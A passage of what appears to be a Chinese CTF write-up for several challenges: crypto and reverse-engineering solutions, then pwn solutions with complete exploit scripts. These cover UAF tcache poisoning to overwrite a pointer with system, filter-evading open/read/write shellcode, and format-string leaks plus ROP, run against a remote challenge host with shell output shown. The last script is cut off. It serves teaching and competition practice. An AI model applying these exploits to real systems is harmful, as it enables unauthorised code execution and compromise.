&nbsp; &nbsp; &nbsp; &nbsp; m = (x * y) % n
&nbsp; &nbsp; &nbsp; &nbsp; flag = long_to_bytes(m)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;flag.startswith(b"ZJPCTF{"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(flag.decode())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit

Flag

ZJPCTF{73ed2e76-5601-42e3-bb75-ee6a49344cc4}

ezsage

Summary

题目给出:

c = m^e mod 2^256
e = bytes_to_long(flag)

其中 m 是奇数。因为模数是 2^256,这不是普通有限域离散对数,而是一个 2-adic / 模 2^k 指数恢复题。

核心思路是对 m 和 c 做 2-adic log,把幂指数关系转成线性同余,再结合 flag 前缀补回丢失的高两位。

Solution

Step 1: 把指数问题转成 2-adic log 线性方程

附件中给出:

m = 68474806319777815105639045795003132170248386946392685303757198059761665651925
c = 27430780926839042439999253775036385463345136424396756917838717337404228526949

并且:

m % 8 = 5

所以 m ≡ 1 (mod 4),满足 2-adic log 的展开条件。于是有:

log(c) = e * log(m) mod 2^256

这一步把原来的

c = m^e mod 2^256

变成了线性同余。

Step 2: 恢复 e mod 2^254

计算后发现 log(m) 和 log(c) 都有 v2 = 2,所以可以先同时除以 4,得到:

e mod 2^254

也就是说,这里只能恢复出指数的低 254 位,高 2 位会丢失。

运行脚本会先得到一个中间结果:

b'\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'

这已经说明后 31 个字节基本都对了,只差最前面高两位决定的首字节。

Step 3: 结合 flag 前缀补回高两位

因为题目里:

e = bytes_to_long(flag)

而 flag 显然应当以 ZJPCTF{ 开头,所以直接补回真实前缀即可:

ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}

最后再验一次:

pow(m, bytes_to_long(flag), 2^256) == c

结果为 True,说明恢复正确。

Solve Script

m =&nbsp;68474806319777815105639045795003132170248386946392685303757198059761665651925
c =&nbsp;27430780926839042439999253775036385463345136424396756917838717337404228526949

K =&nbsp;256
MOD =&nbsp;1&nbsp;<< K

def&nbsp;long_to_bytes(x):
&nbsp; &nbsp;&nbsp;return&nbsp;x.to_bytes((x.bit_length() +&nbsp;7) //&nbsp;8,&nbsp;"big")

def&nbsp;bytes_to_long(b):
&nbsp; &nbsp;&nbsp;return&nbsp;int.from_bytes(b,&nbsp;"big")

def&nbsp;v2(x):
&nbsp; &nbsp;&nbsp;return&nbsp;(x & -x).bit_length() -&nbsp;1

def&nbsp;log_2adic(a, bits=256):
&nbsp; &nbsp;&nbsp;# a must be 1 mod 4
&nbsp; &nbsp; M =&nbsp;1&nbsp;<< bits
&nbsp; &nbsp; x = (a -&nbsp;1) % M
&nbsp; &nbsp; res =&nbsp;0
&nbsp; &nbsp; xp =&nbsp;1

&nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(1,&nbsp;1000):
&nbsp; &nbsp; &nbsp; &nbsp; xp *= x

&nbsp; &nbsp; &nbsp; &nbsp; s = v2(j)
&nbsp; &nbsp; &nbsp; &nbsp; odd = j >> s

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Once v2(x^j / j) >= bits, remaining terms vanish mod 2^bits.
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;v2(xp) - s >= bits:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

&nbsp; &nbsp; &nbsp; &nbsp; term = ((xp >> s) % M) * pow(odd,&nbsp;-1, M) % M

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;j &&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res = (res + term) % M
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res = (res - term) % M

&nbsp; &nbsp;&nbsp;return&nbsp;res

lm = log_2adic(m,&nbsp;256)
lc = log_2adic(c,&nbsp;256)

# v2(lm) = v2(lc) = 2
mod_e =&nbsp;1&nbsp;<<&nbsp;254
e_mod = ((lc >>&nbsp;2) * pow((lm >>&nbsp;2) % mod_e,&nbsp;-1, mod_e)) % mod_e

print(long_to_bytes(e_mod))
# b'\\x06{x1@nSHI_2m51s_n@x1atad3rent0u}'

# Restore the missing top two bits using the known flag prefix.
flag =&nbsp;b"ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}"
print(flag.decode())
print(pow(m, bytes_to_long(flag), MOD) == c)

Flag

ZJPCTF{x1@nSHI_2m51s_n@x1atad3rent0u}

random

Summary

程序使用固定种子的 rand() 生成 key 和控制流,对输入做大量随机选择的可逆变换,最后与密文比较。 由于 seed 固定,所有变换顺序和参数都可复现,直接反向执行即可恢复 flag。

Solution

Step 1: 静态定位校验逻辑

附件是 64 位 Windows PE 程序。字符串中可以看到假 flag、提示语和真假判断:

ZJPCTF{fake_flag_not_the_real!}
ZJPCTF r333 challenge. Use frida to get the flag!
Please input flag:
right!
wrong!

主函数读取最多 44 个字符,但后续对 48 字节缓冲区做变换:

scanf("%44s", input);
check(input,&nbsp;0x30);
memcmp(input, cipher,&nbsp;0x30);

关键数据位于 .data

seed &nbsp; = 0x00efffef
key &nbsp; &nbsp;= 程序启动时由 srand(seed) 后 rand()%256 生成 32 字节
cipher = f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa

程序构造函数会依次执行:

srand(seed);
for&nbsp;i in&nbsp;range(32):
&nbsp; &nbsp; key[i]&nbsp;= rand() %&nbsp;256;
func_ptr = functiontable1;

check() 里先对 48 字节输入做一次随机异或,然后执行 500 次随机选择的函数:

  1. xorshift:每字节 xor rand()%256,再 + rand()%256
  2. xorkey:每字节异或 key[rand()%32]
  3. bitshift:每字节循环左移 rand()%8 位,再加当前位置下标

这些操作都是可逆的,因此记录所有随机参数后倒序恢复即可。

from&nbsp;pathlib&nbsp;import&nbsp;Path

exe = Path("random(1).exe").read_bytes()

# PE 中 .data 的文件偏移是 0xe000,虚拟地址从 0x14000f000 开始
DATA_OFF =&nbsp;0xE000
DATA_VA =&nbsp;0x14000F000

def&nbsp;read_va(va, size):
&nbsp; &nbsp; off = DATA_OFF + (va - DATA_VA)
&nbsp; &nbsp;&nbsp;return&nbsp;exe[off:off + size]

seed = int.from_bytes(read_va(0x14000F020,&nbsp;4),&nbsp;"little")
cipher = read_va(0x14000F060,&nbsp;48)

class&nbsp;MSRand:
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; Windows MSVCRT/ucrt rand() 算法:
&nbsp; &nbsp; state = state * 214013 + 2531011
&nbsp; &nbsp; return (state >> 16) & 0x7fff
&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, seed):
&nbsp; &nbsp; &nbsp; &nbsp; self.state = seed &&nbsp;0xffffffff

&nbsp; &nbsp;&nbsp;def&nbsp;rand(self):
&nbsp; &nbsp; &nbsp; &nbsp; self.state = (self.state *&nbsp;214013&nbsp;+&nbsp;2531011) &&nbsp;0xffffffff
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(self.state >>&nbsp;16) &&nbsp;0x7fff

def&nbsp;rol8(x, s):
&nbsp; &nbsp;&nbsp;return&nbsp;((x << s) | (x >> (8&nbsp;- s))) &&nbsp;0xff

def&nbsp;ror8(x, s):
&nbsp; &nbsp;&nbsp;return&nbsp;((x >> s) | ((x << (8&nbsp;- s)) &&nbsp;0xff)) &&nbsp;0xff

N =&nbsp;48
rng = MSRand(seed)

# 构造函数中生成 key,消耗 32 次 rand()
key = bytes(rng.rand() %&nbsp;256&nbsp;for&nbsp;_&nbsp;in&nbsp;range(32))

# check() 第一轮:input[i] ^= rand()%256
first_xor = [rng.rand() %&nbsp;256&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]

ops = []

# check() 后续共 100 + 400 次随机函数调用
for&nbsp;_&nbsp;in&nbsp;range(500):
&nbsp; &nbsp; typ = rng.rand() %&nbsp;3

&nbsp; &nbsp;&nbsp;if&nbsp;typ ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xorshift: xor r1, add r2
&nbsp; &nbsp; &nbsp; &nbsp; params = [(rng.rand() %&nbsp;256, rng.rand() %&nbsp;256)&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]
&nbsp; &nbsp;&nbsp;elif&nbsp;typ ==&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xorkey: xor key[rand()%32]
&nbsp; &nbsp; &nbsp; &nbsp; params = [rng.rand() %&nbsp;32&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# bitshift: rol8(x, rand()%8) + i
&nbsp; &nbsp; &nbsp; &nbsp; params = [rng.rand() %&nbsp;8&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]

&nbsp; &nbsp; ops.append((typ, params))

buf = bytearray(cipher)

# 倒序逆变换
for&nbsp;typ, params&nbsp;in&nbsp;reversed(ops):
&nbsp; &nbsp;&nbsp;if&nbsp;typ ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i, (r1, r2)&nbsp;in&nbsp;enumerate(params):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf[i] = ((buf[i] - r2) &&nbsp;0xff) ^ r1

&nbsp; &nbsp;&nbsp;elif&nbsp;typ ==&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i, idx&nbsp;in&nbsp;enumerate(params):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf[i] ^= key[idx]

&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i, s&nbsp;in&nbsp;enumerate(params):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf[i] = ror8((buf[i] - i) &&nbsp;0xff, s)

# 逆第一轮随机异或
for&nbsp;i, r&nbsp;in&nbsp;enumerate(first_xor):
&nbsp; &nbsp; buf[i] ^= r

flag = bytes(buf).rstrip(b"\x00")
print(flag.decode())

运行结果:

ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}

Step 2: 验证

将恢复出的 flag 补齐到 48 字节后,按程序逻辑正向执行一遍,得到的结果正好等于 .data 中的 48 字节密文:

f4e8f76375d4bc6a26fb6f08de3b6b4bdb6bf7bff00d5256a0b5a2d98c1d5d50e743e71fe7d1c70236fe8d7f3c9e41fa

说明恢复结果正确。

Flag

ZJPCTF{5ff7c8eb-feab-4e3e-b4a9-42f03ac796c0}

Borrowed Notes

Summary

题目是一个菜单型堆题,核心漏洞是 free 后指针没有清空,形成 UAF。 利用 UAF 泄露 libc,再通过 tcache poisoning 劫持 .data 中的函数指针为 system,最后触发 system("/bin/sh") 拿 shell 读取 flag。

Solution

Step 1: 分析漏洞点

程序提供 note 的增删改查功能,并且还有一个 catalog 功能可以打印 note 指针。drop 删除 note 后没有清空指针,因此可以继续 show/edit 已释放 chunk,形成 UAF。

利用思路:

  1. 申请一个大 chunk,释放后进入 unsorted bin;
  2. 通过 UAF show 读取 fd,泄露 libc 地址;
  3. 申请两个 0x40 chunk,释放后进入 tcache;
  4. 通过 UAF 修改 tcache fd;
  5. 绕过 safe-linking,把下一次 malloc 定向到 .data 上的函数指针;
  6. 将函数指针改成 system
  7. 触发程序内置的 "/bin/sh" 参数,获得 shell。

完整脚本如下:

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;re

context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level =&nbsp;"info"

HOST =&nbsp;"nc1.ctfplus.cn"
PORT =&nbsp;17431

FINAL_CMD =&nbsp;0x404020&nbsp; &nbsp; &nbsp; &nbsp;# "/bin/sh"
FINAL_ACTION =&nbsp;0x404040&nbsp; &nbsp;&nbsp;# 函数指针,初始为 puts

# unsorted bin 泄露偏移:main_arena+96
UNSORTED_LEAK_OFF =&nbsp;0x1e7b20

def&nbsp;start():
&nbsp; &nbsp;&nbsp;if&nbsp;args.REMOTE:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;remote(HOST, PORT)
&nbsp; &nbsp;&nbsp;return&nbsp;process(["./pwn"])

io = start()

def&nbsp;cmd(choice):
&nbsp; &nbsp; io.sendlineafter(b"> ", str(choice).encode())

def&nbsp;add(idx, size, data=b"A"):
&nbsp; &nbsp; cmd(1)
&nbsp; &nbsp; io.sendlineafter(b"index:\n", str(idx).encode())
&nbsp; &nbsp; io.sendlineafter(b"size:\n", str(size).encode())
&nbsp; &nbsp; io.sendafter(b"data:\n", data)

def&nbsp;edit(idx, data):
&nbsp; &nbsp; cmd(2)
&nbsp; &nbsp; io.sendlineafter(b"index:\n", str(idx).encode())
&nbsp; &nbsp; io.sendafter(b"data:\n", data)

def&nbsp;show_raw(idx, size):
&nbsp; &nbsp; cmd(3)
&nbsp; &nbsp; io.sendlineafter(b"index:\n", str(idx).encode())

&nbsp; &nbsp; data = io.recvn(size)

&nbsp; &nbsp;&nbsp;# show 后程序会重新打印菜单和 "> "
&nbsp; &nbsp;&nbsp;# 这里把 prompt 放回缓冲区,保证下一次 cmd() 不会卡住
&nbsp; &nbsp; io.recvuntil(b"> ")
&nbsp; &nbsp; io.unrecv(b"> ")

&nbsp; &nbsp;&nbsp;return&nbsp;data

def&nbsp;drop(idx):
&nbsp; &nbsp; cmd(4)
&nbsp; &nbsp; io.sendlineafter(b"index:\n", str(idx).encode())

def&nbsp;catalog():
&nbsp; &nbsp; cmd(5)

&nbsp; &nbsp;&nbsp;# catalog 后程序也会重新打印菜单和 "> "
&nbsp; &nbsp;&nbsp;# 必须 unrecv 回去,否则下一次 sendlineafter(b"> ") 会等不到 prompt
&nbsp; &nbsp; data = io.recvuntil(b"> ")
&nbsp; &nbsp; io.unrecv(b"> ")

&nbsp; &nbsp;&nbsp;return&nbsp;data

# ============================================================
# 1. libc leak
# ============================================================

add(0,&nbsp;0x500,&nbsp;b"A"&nbsp;*&nbsp;8)
add(1,&nbsp;0x30,&nbsp;b"B"&nbsp;*&nbsp;8) &nbsp; &nbsp; &nbsp;# 防止 large chunk 与 top chunk 合并

drop(0)

leak_data = show_raw(0,&nbsp;0x500)
libc_leak = u64(leak_data[:8])

libc_base = libc_leak - UNSORTED_LEAK_OFF
system_addr = libc_base + libc.sym["system"]

log.success(f"libc leak &nbsp;=&nbsp;{hex(libc_leak)}")
log.success(f"libc base &nbsp;=&nbsp;{hex(libc_base)}")
log.success(f"system &nbsp; &nbsp; =&nbsp;{hex(system_addr)}")

# ============================================================
# 2. tcache poisoning
# ============================================================

add(2,&nbsp;0x40,&nbsp;b"C"&nbsp;*&nbsp;8)
add(3,&nbsp;0x40,&nbsp;b"D"&nbsp;*&nbsp;8)

info = catalog().decode(errors="ignore")

m = re.search(r"\[3\] used=1 ptr=(0x[0-9a-fA-F]+)", info)
if&nbsp;not&nbsp;m:
&nbsp; &nbsp; log.failure("failed to leak chunk3 pointer from catalog")
&nbsp; &nbsp; print(info)
&nbsp; &nbsp; exit(1)

chunk3 = int(m.group(1),&nbsp;16)
log.success(f"chunk3 &nbsp; &nbsp; =&nbsp;{hex(chunk3)}")

# tcache 链表:先 free 2,再 free 3
# head -> chunk3 -> chunk2
drop(2)
drop(3)

# glibc safe-linking:
# stored_fd = target ^ (chunk_addr >> 12)
poison = FINAL_ACTION ^ (chunk3 >>&nbsp;12)
log.info(f"poison fd &nbsp;=&nbsp;{hex(poison)}")

# UAF:drop 后指针没清空,edit(3) 可以改 tcache fd
edit(3, p64(poison))

# 第一次 malloc 取回 chunk3
add(4,&nbsp;0x40,&nbsp;b"E"&nbsp;*&nbsp;8)

# 第二次 malloc 返回 FINAL_ACTION,然后把函数指针改成 system
add(5,&nbsp;0x40, p64(system_addr))

log.success("final_action overwritten with system")

# ============================================================
# 3. trigger system('/bin/sh')
# ============================================================

cmd(7)

io.sendline(b"cat /flag")
io.interactive()

Step 2: 远程验证

运行脚本连接远程:

python3 exp.py REMOTE

成功泄露 libc,并完成函数指针覆盖:

[+] Opening connection to nc1.ctfplus.cn on port 17431: Done
[+] libc leak &nbsp;= 0x7f17c8ca8b20
[+] libc base &nbsp;= 0x7f17c8ac1000
[+] system &nbsp; &nbsp; = 0x7f17c8b15790
[+] chunk3 &nbsp; &nbsp; = 0x1813060
[*] poison fd &nbsp;= 0x405853
[+] final_action overwritten with system
[*] Switching to interactive mode

触发后进入 shell:

$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
pwn

读取 flag:

$ cat /flag
ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}

Flag

ZJPCTF{abb7de1d-8839-4a12-9ac4-849af374799a}

No craft pwn

Summary

题目允许输入 shellcode 并执行,但过滤了字节 0x48。 核心思路是不用 64 位 rax/rdi/rsi/rdx 编码,改用 32 位寄存器指令构造不含 0x48 的 ORW shellcode,直接 open("flag") -> read -> write 读出 flag。

Solution

Step 1: 分析限制

程序会读入最多 0x100 字节 shellcode 后执行。 题目名为 No craft pwn,实际限制是 shellcode 不能包含字节 0x48

在 x86_64 下,很多 64 位寄存器指令会带有 REX.W 前缀 0x48,例如:

mov rax, 2
mov rdi, xxx

因此不能直接写常规 amd64 shellcode。 绕过方式是使用 32 位寄存器编码,例如 eax / edi / esi / edx,这些指令在 64 位模式下依然可用于 syscall 参数传递,并且可以避免出现 0x48

题目环境中可使用 open/read/write,所以构造 ORW shellcode:

open("flag", 0)
read(fd, buf, 0x80)
write(1, buf, n)

完整脚本如下:

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;re

context.log_level =&nbsp;"info"

HOST =&nbsp;"nc1.ctfplus.cn"
PORT =&nbsp;39596

# open("flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_FLAG = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"c700666c6167"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov dword ptr [rax], 0x67616c66 ; "flag"
&nbsp; &nbsp;&nbsp;"c7400400000000"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov dword ptr [rax+4], 0
&nbsp; &nbsp;&nbsp;"97"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xchg eax, edi
&nbsp; &nbsp;&nbsp;"b002"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 2 ; open
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"97"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xchg eax, edi ; fd -> edi
&nbsp; &nbsp;&nbsp;"31c0"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax ; read
&nbsp; &nbsp;&nbsp;"89ee"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov esi, ebp ; buf = mmap_base
&nbsp; &nbsp;&nbsp;"81c680000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# add esi, 0x80
&nbsp; &nbsp;&nbsp;"b280"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov dl, 0x80
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"89c2"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov edx, eax ; count
&nbsp; &nbsp;&nbsp;"b001"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 1 ; write
&nbsp; &nbsp;&nbsp;"bf01000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov edi, 1
&nbsp; &nbsp;&nbsp;"89ee"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov esi, ebp
&nbsp; &nbsp;&nbsp;"81c680000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# add esi, 0x80
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"31ff"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor edi, edi
&nbsp; &nbsp;&nbsp;"b03c"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 60 ; exit
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall
)

# 备用:open("/flag", 0), read(fd, buf, 0x80), write(1, buf, n)
# 全部字节不含 0x48
SC_ABS_FLAG = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"c7002f666c61"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov dword ptr [rax], 0x616c662f ; "/fla"
&nbsp; &nbsp;&nbsp;"c6400467"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov byte ptr [rax+4], 0x67 ; "g"
&nbsp; &nbsp;&nbsp;"c6400500"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov byte ptr [rax+5], 0
&nbsp; &nbsp;&nbsp;"97"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xchg eax, edi
&nbsp; &nbsp;&nbsp;"b002"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 2 ; open
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"97"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xchg eax, edi ; fd -> edi
&nbsp; &nbsp;&nbsp;"31c0"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax ; read
&nbsp; &nbsp;&nbsp;"89ee"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov esi, ebp
&nbsp; &nbsp;&nbsp;"81c680000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# add esi, 0x80
&nbsp; &nbsp;&nbsp;"b280"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov dl, 0x80
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"89c2"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov edx, eax
&nbsp; &nbsp;&nbsp;"b001"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 1 ; write
&nbsp; &nbsp;&nbsp;"bf01000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov edi, 1
&nbsp; &nbsp;&nbsp;"89ee"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov esi, ebp
&nbsp; &nbsp;&nbsp;"81c680000000"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# add esi, 0x80
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall

&nbsp; &nbsp;&nbsp;"31ff"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor edi, edi
&nbsp; &nbsp;&nbsp;"b03c"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 60 ; exit
&nbsp; &nbsp;&nbsp;"0f05"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall
)

def&nbsp;run_once(shellcode, name):
&nbsp; &nbsp;&nbsp;assert&nbsp;b"\x48"&nbsp;not&nbsp;in&nbsp;shellcode
&nbsp; &nbsp;&nbsp;assert&nbsp;len(shellcode) <=&nbsp;0x100

&nbsp; &nbsp; io = remote(HOST, PORT)
&nbsp; &nbsp; io.recvuntil(b"size: 0x100\n")

&nbsp; &nbsp; log.info(f"send shellcode for&nbsp;{name}, len={len(shellcode)}")
&nbsp; &nbsp; io.send(shellcode)

&nbsp; &nbsp; data = io.recvall(timeout=3)
&nbsp; &nbsp; io.close()

&nbsp; &nbsp; print(data.decode(errors="ignore"))

&nbsp; &nbsp; m = re.search(rb"ZJPCTF\{[^}]+\}", data)
&nbsp; &nbsp;&nbsp;if&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"FLAG =&nbsp;{m.group(0).decode()}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True

&nbsp; &nbsp;&nbsp;return&nbsp;False

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;if&nbsp;run_once(SC_FLAG,&nbsp;"flag"):
&nbsp; &nbsp; &nbsp; &nbsp; exit(0)

&nbsp; &nbsp; log.warning("relative path flag failed, try /flag")
&nbsp; &nbsp; run_once(SC_ABS_FLAG,&nbsp;"/flag")

Step 2: 远程验证

运行脚本:

python3 exp.py

远程输出:

[+] Opening connection to nc1.ctfplus.cn on port 39596: Done
[*] send shellcode for flag, len=58
[+] Receiving all data: Done (44B)
[*] Closed connection to nc1.ctfplus.cn port 39596
ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}
[+] FLAG = ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}

可以看到相对路径 flag 直接成功,因此无需再尝试 /flag

Flag

ZJPCTF{501f23f0-1565-4934-82be-a099f752141d}

Dead Letter

Summary

题目是一个栈题,第一次输入存在格式化字符串漏洞,管理员“复述”内容时会直接 printf(buf)。 利用格式化字符串泄露 PIE 和 libc,第二次“封箱”输入存在栈溢出,构造 ROP 调用 system("/bin/sh") 拿 shell 读取 flag。

Solution

Step 1: 泄露 PIE 和 libc

程序第一次读取 draft 后,会由管理员复述内容:

The curator whispers: <user input>

这里存在格式化字符串漏洞,可以通过 %p 泄露栈上的返回地址。

实际调试发现:

%23$p -> PIE 相关返回地址
%25$p -> libc 相关返回地址

对应偏移:

pie_base &nbsp;= leak_23 - 0x1366
libc_base = leak_25 - 0x29f75

第二次输入 Seal the final copy: 时存在栈溢出,偏移为 0x58,可以覆盖返回地址。

完整 exploit 如下:

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;os
import&nbsp;re

HOST =&nbsp;"nc1.ctfplus.cn"
PORT =&nbsp;34131

BIN_PATH = os.environ.get("BIN",&nbsp;"./pwn")
LIBC_PATH = os.environ.get("LIBC",&nbsp;"./libc.so.6")

context.binary = elf = ELF(BIN_PATH, checksec=False)
libc = ELF(LIBC_PATH, checksec=False)
context.log_level =&nbsp;"info"

# 格式化字符串泄露:
# %23$p = PIE 中 main/draft 返回地址附近 = pie_base + 0x1366
# %25$p = libc 返回地址附近 = libc_base + 0x29f75
PIE_LEAK_OFF =&nbsp;0x1366
LIBC_LEAK_OFF =&nbsp;0x29f75

POP_RDI_OFF =&nbsp;0x117d
RET_OFF =&nbsp;0x1016

OFFSET =&nbsp;0x58

def&nbsp;start():
&nbsp; &nbsp;&nbsp;if&nbsp;args.REMOTE:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;remote(HOST, PORT)
&nbsp; &nbsp;&nbsp;return&nbsp;process([BIN_PATH])

io = start()

def&nbsp;leak():
&nbsp; &nbsp; payload =&nbsp;b"%23$p.%25$p"

&nbsp; &nbsp; io.recvuntil(b"Ink your draft:\n")
&nbsp; &nbsp; io.sendline(payload)

&nbsp; &nbsp; io.recvuntil(b"The curator whispers: ")
&nbsp; &nbsp; line = io.recvline().strip()
